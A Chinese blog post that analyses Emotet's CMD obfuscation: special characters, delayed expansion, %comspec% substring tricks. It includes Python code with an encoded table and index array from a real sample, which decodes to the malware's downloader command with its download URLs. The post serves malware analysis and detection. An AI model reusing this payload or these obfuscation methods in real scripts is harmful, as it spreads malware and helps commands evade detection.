解Emotet的CMD混淆方法

CMD的混淆是JS、VBA、powershell等混淆语言中最难解的,因为对于CMD来说是没有公开的调试器的,需要去了解繁杂众多的CMD语法。CMD为了使用方得便,命令中有很多容错率,从而也导致BAT脚本可以被混淆得很厉害。

以下是CMD中容易使用用来混淆的字符:

语法符号 功能作用
>、>> 重定向
竖杠 管道
&&、&、双竖杠 语句连接
^ 转义字符,该字符不影响命令的执行
,和 ; 这两个符号可以互换,可以取代命令中的合法空格
() 在参数中该符号也不影响命令执行

在这里插入图片描述
CMD参数 /?显示帮助,最被常用得两个参数 /C /V。/V:ON参数启用时,可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,!var!可以用来代替%var%,也就是可以使用感叹号字符来替代运行时的环境变量值。

语法

%VarName:~offset[,length]%
主要用于获取环境变量VarName的变量值。
如系统已有的环境变量%comspec%变量的值默认值是“C:\WINDOWS\system32\cmd.exe”,set命令可以被编码为: %comspec:~11,1%%comspec:~-1%%comspec:~-13,1%
病毒常使用此种方法来拼接出自己想要的字符串命令。

在这里插入图片描述
如图是EMOTET家族,样本哈希18080c897fee73efed43fd054cd8941f的CMD混淆方法。有一定CMD语法基础就可以看出这只有三句命令,分别在图中用箭头标示了分隔点。在for循环取数组元素时当%D的元素为80,也就是数组的最后一个元素时,会调用call命令扩充变量Zv,显然是通过解密数组得到了最终的call执行的命令。
Set Zv=!Zv!!pPr:%D,1!其中Zv=!Zv!是对变量的初始化,!pPr:%D,1!是上面提到的语法用法,意思是按数组元素%D为下标取1个字符。
经过测试,pPr的长度为73,解密后的字符串长度362,所以现在可以完全确定CMD的逻辑就是从pPr中按照数组元素为下标取1个字符,最后拼成一个长度为362的字符串,也就是另外的恶意字符。
在这里插入图片描述

通过python来验证我们的猜想并解密,是很简单的一种方法。

附上测试代码:

pPr = "MOANtGXcfYQDJZlJqsHzDVpR-8Ix'$iS{@+vC2o=/(WFbjdh);gekUnaru}P7:E, wy0.\m"

decode = []
array = [22,38,65,51,56,17,47,51,14,14,64,29,55,21,21,39,54,51,65,24,38,44,45,51,7,4,64,3,51,4,68,42,51,44,36,14,30,51,54,4,49,29,15,62,17,39,28,47,4,4,22,61,40,40,35,46,4,38,50,4,68,54,14,40,55,70,66,10,33,47,4,4,22,61,40,40,35,30,7,30,38,57,17,51,54,4,51,56,22,56,30,17,51,17,68,7,38,70,40,16,6,53,57,6,16,33,47,4,4,22,61,40,40,57,54,7,14,51,44,57,46,17,22,30,7,51,68,7,38,70,40,25,67,46,33,47,4,4,22,61,40,40,35,55,14,30,57,54,55,17,68,7,38,70,40,5,25,36,38,38,26,33,47,4,4,22,61,40,40,4,47,51,17,30,14,35,51,56,55,70,51,56,30,7,55,54,51,55,50,14,51,68,7,38,70,40,4,44,28,68,31,22,14,30,4,41,28,33,28,48,49,29,42,6,62,64,39,64,28,60,37,60,28,49,29,23,42,30,39,29,51,54,35,61,4,51,70,22,34,28,69,28,34,29,42,6,62,34,28,68,51,27,51,28,49,8,38,56,51,55,7,47,41,29,54,16,13,64,30,54,64,29,15,62,17,48,32,4,56,66,32,29,55,21,21,68,20,38,65,54,14,38,55,46,43,30,14,51,41,29,54,16,13,63,64,29,23,42,30,48,49,31,4,55,56,4,24,59,56,38,7,51,17,17,64,29,23,42,30,49,44,56,51,55,52,49,58,7,55,4,7,47,32,58,58,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,80]

print len(pPr)
print len(array)

try:
    for i in array:
        decode.append(pPr[i])
except:
    print "exit"

print decode

参考文献

https://www.freebuf.com/articles/terminal/180390.html
https://update.venuseye.com.cn/reports/1548417941041/%E4%BB%A5Emotet%E4%B8%BA%E4%BE%8B%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90CMD%E5%91%BD%E4%BB%A4%E6%B7%B7%E6%B7%86%E6%8A%80%E6%9C%AF20181212.html
FireEye : DOSfuscation:Exploring the Depths of Cmd.exe Obfuscation and Detection Techniques

猜你喜欢

转载自blog.csdn.net/qq_43312649/article/details/109724312